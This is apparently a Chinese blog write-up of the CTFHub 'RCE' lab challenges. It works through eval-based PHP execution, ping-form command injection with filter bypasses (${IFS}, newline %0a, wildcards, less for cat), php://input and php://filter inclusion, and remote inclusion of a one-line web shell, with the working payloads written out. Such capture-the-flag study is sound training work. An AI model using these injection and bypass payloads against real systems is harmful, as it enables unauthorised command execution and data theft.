当前位置:网站首页>CTFHub----RCE
CTFHub----RCE
2022-07-17 00:14:00 【jjj34】
一.命令注入
1.eval执行

首先了解什么是eval函数
eval函数会将 括号内的值当成php命令执行
http://challenge-9a888bfbaae5e647.sandbox.ctfhub.com:10800/?cmd=其次是 $_REQUEST[ ] 函数
PHP 中提供了一个 $_REQUEST 全局变量,它是一个包含了 $_POST、$_GET 和 $_COOKIE 的数组,数组结构与 $_POST 和 $_GET 类似。
也就是说不管是使用 POST 还是使用 GET 方式提交的数据,都可以使用 $_REQUEST 来获取,甚至可以使用 $_REQUEST 来获取 COOKIE 的信息。
如题,我们的变量名为cmd,直接改url
http://challenge-9a888bfbaae5e647.sandbox.ctfhub.com:10800/?cmd=$$就是我们要执行的php命令
system("ls");
system("ls -a ");
system("ls /*");
system("find / -name 'flag'");其中 , ls /* 找到flag
然后就 cat flag即可
2.命令注入

非常简单,直接构造payload
127.0.0.1 是为了符合前面的那个ping ,
127.0.0.1 | ls
127.0.0.1 | cat flag3.过滤cat

思路同上,只不过把cat转换成less
4.过滤空格
空格的取代
cat file
变成:
cat<file
cat${IFS}file
绕过大法:< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS5.过滤目录分隔符: /

payload如下:用分号来替代 &
127.0.0.1;ls
127.0.0.1;cat flag6.综合练习

正则意思是 过滤 | \ & ; 空格 / cat flag ctfhub
绕过:
& -> %0a (换行符被url编码后,就是0a,因此需要在url栏注入)
空格 -> ${IFS}
cat -> less
flag -> f*lgpayload构造
127.0.0.1%0als
127.0.0.1%0acd${IFS}fl*g_is_here
127.0.0.1%0acd${IFS}fl*g_is_here%0aless${IFS}f*ag_17291277221695.php二.文件包含
1.文件包含

意思:有个参数名为file,file指向shell.txt 在shell.txt中有个参数名为ctfhub,这个就是命令执行的点

如图,找到我们要的flag即可
/sys/devices/platform/serial8250/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/pci0000:00/0000:00:03.0/virtio0/net/eth0/flags /sys/devices/virtual/net/dummy0/flags /sys/devices/virtual/net/lo/flags /usr/include/linux/flat.h /flag
2.php伪协议
基础:php伪协议实现命令执行_jcxj2934的博客-CSDN博客
经典的php://
先构造payload,然后直接命令执行即可
http://challenge-d754d82b1f1869d5.sandbox.ctfhub.com:10800/?file=php://input然后抓包,进行命令执行,注意:请求方式为GET,所以不能直接在hackbar中利用post data传命令

3.远程包含

尝试下文件包含 
可以看到,文件被执行了
方法1.直接用 php://input 进行命令执行
方法2. 在自己服务器上放一个 1.txt的一句话木马,然后用靶场的服务器去访问,再用蚁剑链接
4.文件读取
题目已经提示我们文件读取了,非常简单
由于被题目限制,我们只能用php://filter , 否则用file://也可以

边栏推荐
- 【HSJFramework】Unity时间管理TimeManger计时器
- CMake常用命令
- 测试知识准备
- [tools] unity screen drawing line, unity screen drawing Hsj drawing tool
- ENVI_IDL:批量对Modis Swath产品进行均值运算+解析
- Labelme 的简单用法和界面介绍
- 元宇宙公链Caduceus详解:专为元宇宙应用打造的创作平台
- DGC best practice: how to ensure that confidential data is not leaked when entering the lake?
- ENVI_ IDL: read OMI data (HDF5) and output it as GeoTIFF file + detailed parsing
- gdb+vscode进行调试4——gdb执行相关命令
猜你喜欢

DoubleDQN的理论基础及其代码实现【Pytorch + Pendulum-v0】

ENVI_ Idl: batch re projection of modisswath products (calling the secondary development interface) + parsing

【Unity面板属性扫盲】导入纹理后设置Texture Import Settings

DQN理论基础及其代码实现【Pytorch + CartPole-v0】

树和堆知识点总结

Labelme正常启动,但无法打开

Visual Studio 2019-QT调试

工程编译那点事:Makefile和cmake(一)

STL--queue容器

(with word operation and video explanation) map registration using ArcGIS_ Projection transformation_ General map making_ Thematic map making
随机推荐
Lecture 2 BTC cryptography principles (notes)
图像质量评估指标:SNR、PSNR、MSE和SSIM
leetcode力扣经典题目——82.柱形图中的最大矩形
bugku----正则匹配,cookies
【Unity编辑器扩展】查找场景和资源内挂载某脚本的所有对象
字符串转换为整数
close 和 shutdown区别
Leetcode 198:House Robber
信号与系统实验
【Unity开发小技巧】Unity混音器Mixer控制全局音量
散列表、布隆过滤器、分布式一致性hash
软件测试技术期中测试小结|软件测试基础&执行测试&测试设计和开发
RuntimeError_ Input type (torch.FloatTensor) and weight type (torch.cuda.FloatTensor)
成信大ENVI_IDL第一周实验测试:数组的简单运算+详细解析
[tools] unity2d character controller, which controls 2D players to move and jump in four directions and horizontal directions
ENVI_ Idl: average calculation + analysis of MODIS swath products in batches
【Unity编辑器扩展】Unity发布资源到商店流程Unity Asset Store Publish
leetcode力扣经典问题——42.接雨水
Oozie integrated sh
【Unity编辑器扩展】显示资源目录下所有文件所占内存大小